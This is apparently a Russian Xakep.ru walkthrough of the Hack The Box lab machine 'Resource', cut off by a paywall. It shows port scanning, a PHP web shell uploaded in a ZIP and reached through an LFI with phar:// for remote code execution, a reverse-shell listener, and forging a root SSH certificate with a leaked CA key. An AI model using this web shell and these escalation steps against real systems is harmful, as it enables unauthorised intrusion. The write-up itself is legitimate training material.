Се­год­ня я покажу, как получив кор­невой сер­тификат, под­писать SSH-ключ и повысить при­виле­гии. При эска­лации при­виле­гий про­экс­плу­ати­руем уяз­вимость в поль­зователь­ском скрип­те на Bash. Но пер­вым делом нам понадо­бит­ся ата­ковать сайт — мы получим уда­лен­ное выпол­нение кода через связ­ку LFI и PHAR upload.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Resource с учеб­ной пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «сред­няя».

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.27 resource.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 9.2p1;
  • 80 — веб‑сер­вер Nginx 1.18.0;
  • 2222 — служ­ба OpenSSH 8.9p1.

На пор­те 80 выпол­няет­ся редирект на адрес http://itrc.ssg.htb, поэто­му обно­вим запись в фай­ле /etc/hosts, а затем прос­мотрим сайт через бра­узер.

10.10.11.27 resource.htb itrc.ssg.htb
Главная страница сайта
Глав­ная стра­ница сай­та
 

Точка входа

На сай­те есть воз­можность регис­тра­ции и авто­риза­ции. Сде­лаем это, так как авто­ризо­ван­ному поль­зовате­лю обыч­но дос­тупно боль­ше фун­кций, а зна­чит и точек для ата­ки будет боль­ше.

Главная страница авторизованного пользователя
Глав­ная стра­ница авто­ризо­ван­ного поль­зовате­ля

На стра­нице dashboard есть воз­можность заводить тикеты и заг­ружать ZIP-архи­вы. Так как на сай­те индекс файл пред­став­лен в фор­мате PHP, поп­робу­ем най­ти дру­гие PHP-фай­лы. Для это­го будем исполь­зовать ути­литу feroxbuster.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов с целью поис­ка скры­той информа­ции и недос­тупной обыч­ным посети­телям фун­кций. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch, dirb или ffuf. Я пред­почитаю feroxbuster.

При запус­ке исполь­зуем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора Seclists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­даем все парамет­ры и запус­каем ска­ниро­вание:

feroxbuster -u http://itrc.ssg.htb/ -w php_files_common_5476.txt -x php -d 1 -t 128
Результат сканирования файлов с помощью feroxbuster
Ре­зуль­тат ска­ниро­вания фай­лов с помощью feroxbuster

На­ходим мно­го новых инте­рес­ных фай­лов. Что при­меча­тель­но, сре­ди них при­сутс­тву­ет dashboard.php, а мы получа­ли дос­туп к стра­нице через index.php?page=dashboard. Видимо, к парамет­ру page авто­мати­чес­ки добав­ляет­ся рас­ширение php. Поп­робу­ем таким же обра­зом прос­мотреть стра­ницу admin.php.

Содержимое страницы admin
Со­дер­жимое стра­ницы admin

По­луча­ем содер­жимое стра­ницы и про­буем тем же спо­собом прос­мотреть и дру­гие. При обра­щении к /api/login.php видим ошиб­ку, рас­кры­вающую путь к фай­лам на сер­вере.

Ошибка при загрузке /api/login.php
Ошиб­ка при заг­рузке /api/login.php
 

Точка опоры

Пе­рей­дем к соз­данию тикета. Во вло­жении заг­рузим ран­домный ZIP-архив.

Создание тикета
Соз­дание тикета

Ти­кет появит­ся в общем спис­ке. По кноп­ке Open прос­мотрим его содер­жимое.

Список тикетов
Спи­сок тикетов
Информация о тикете
Ин­форма­ция о тикете

Нам дос­тупен для ска­чива­ния заг­ружен­ный тес­товый архив. По ссыл­ке вид­но, что он хра­нит­ся в катало­ге uploads с изме­нен­ным име­нем.

Ссылка на архив.
Ссыл­ка на архив.

Это зна­чит, что у нас есть воз­можность экс­плу­ати­ровать LFI, но работа­ет она толь­ко для фай­лов PHP, а так­же мы зна­ем куда сох­раня­ются ZIP-архи­вы. Можем поп­робовать реали­зовать сле­дующий сце­нарий: на сер­вер заг­рузим архив с шел­лом на PHP, а затем обра­тим­ся через LFI к фай­лу внут­ри архи­ва через путь phar://.

За­архи­виру­ем файл shell.php, заг­рузим архив на сер­вер и получим путь к нему на сер­вере.

<?php system($_GET['cmd']); ?>
Загруженный архив
Заг­ружен­ный архив

Ос­талось обра­тить­ся к шел­лу и в качес­тве тес­та выпол­нить коман­ду id.

http://itrc.ssg.htb/?page=phar://uploads/450373bf3fff7e53023e6b2736add325cd51e3bb.zip/shell&cmd=id
Результат выполнения команды id
Ре­зуль­тат выпол­нения коман­ды id

Ко­ман­да выпол­нена, а зна­чит, у нас есть RCE. Запус­каем лис­тенер pwncat-cs -lp 4321 и выпол­няем реверс‑шелл.

Сессия пользователя www-data
Сес­сия поль­зовате­ля www-data
 

Побег из Docker

 

Пользователь msainristil

На хос­те раз­верну­то веб‑при­ложе­ние, и оно навер­няка исполь­зует базу дан­ных. В таких слу­чаях в базе мож­но най­ти учет­ные дан­ные для сай­та, которые могут при­годить­ся для даль­нейше­го про­ник­новения. Дан­ные для под­клю­чения к самой базе обыч­но находят­ся в коде или нас­трой­ках веб‑при­ложе­ния.

В дан­ном слу­чае учет­ку для базы находим в фай­ле db.php.

Содержимое файла db.php
Со­дер­жимое фай­ла db.php

Ис­поль­зовать этот пароль ниг­де не получи­лось, поэто­му осмотрим­ся на сер­вере. Помимо заг­ружен­ных нами архи­вов в катало­ге uploads мож­но най­ти и вло­жения к тикетам дру­гих поль­зовате­лей. Ска­чива­ем их на свою машину для ана­лиза.

Загрузка архивов из каталога uploads
Заг­рузка архи­вов из катало­га uploads

Два архи­ва содер­жат пуб­личные клю­чи SSH, а в оставшем­ся находим файл HAR.

Содержимое архивов
Со­дер­жимое архи­вов

В фай­лах HAR фик­сиру­ются раз­ные неполад­ки бра­узе­ра, такие как неудач­ные вхо­ды и проб­лемы с отоб­ражени­ем веб‑стра­ниц. Сра­зу же ищем в фай­ле встро­ки вро­де user, pass, token и тому подоб­ные. И находим учет­ные дан­ные, сох­ранен­ные в откры­том виде.

Содержимое файла HAR
Со­дер­жимое фай­ла HAR

С получен­ными учет­ными под­клю­чаем­ся по SSH от име­ни поль­зовате­ля msainristill.

Пользователь msainristill
Поль­зователь msainristill
 

Пользователь root

В домаш­нем катало­ге поль­зовате­ля root есть каталог decommission_old_ca с клю­чами цен­тра сер­тифика­ции.

Содержимое каталога decommission_old_ca
Со­дер­жимое катало­га decommission_old_ca

Зак­рытый ключ цен­тра сер­тифика­ции ca-itrc исполь­зуют­ся для под­писи сер­тифика­тов. Пуб­личный ключ ca-itrc.pub исполь­зует­ся для про­вер­ки под­писи сер­тифика­тов. Мы можем исполь­зовать зак­рытый ключ цен­тра сер­тифика­ции для соз­дания и под­писи SSH-сер­тифика­та для любого логина. С помощью соз­данно­го сер­тифика­та мож­но будет получить дос­туп по SSH от име­ни поль­зовате­ля с ука­зан­ным в сер­тифика­те логином.

Пер­вым делом сге­нери­руем пару SSH клю­чей.

ssh-keygen -t rsa -b 2048 -f ralf
Генерация пары SSH ключей
Ге­нера­ция пары SSH клю­чей

Те­перь с помощью клю­чей цен­тра сер­тифика­ции на осно­ве пуб­лично­го SSH клю­ча ralf.pub сде­лаем сер­тификат SSH для логина root. Сра­зу мож­но про­верить новый сер­тификат ralf-cert.pub.

ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub
Создание SSH сертификата
Соз­дание SSH сер­тифика­та
ssh-keygen -Lf ralf-cert.pub
Информация из сертификата
Ин­форма­ция из сер­тифика­та

Со сге­нери­рован­ным сер­тифика­том SSH сер­тификат и зак­рытым клю­чом поль­зовате­ля получа­ем дос­туп от име­ни root.

ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost
Флаг пользователя
Флаг поль­зовате­ля
 

Пользователь support

В домаш­нем катало­ге поль­зовате­ля zzinter есть скрипт sign_key_api.sh.

Содержимое домашнего каталога пользователя
Со­дер­жимое домаш­него катало­га поль­зовате­ля

Про­ана­лизи­руем его. Скрипт при­нима­ет в качес­тве парамет­ров пуб­личный ключ, имя поль­зовате­ля и прин­ципал, воз­можные зна­чения которо­го мож­но уви­деть в справ­ке (help).

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии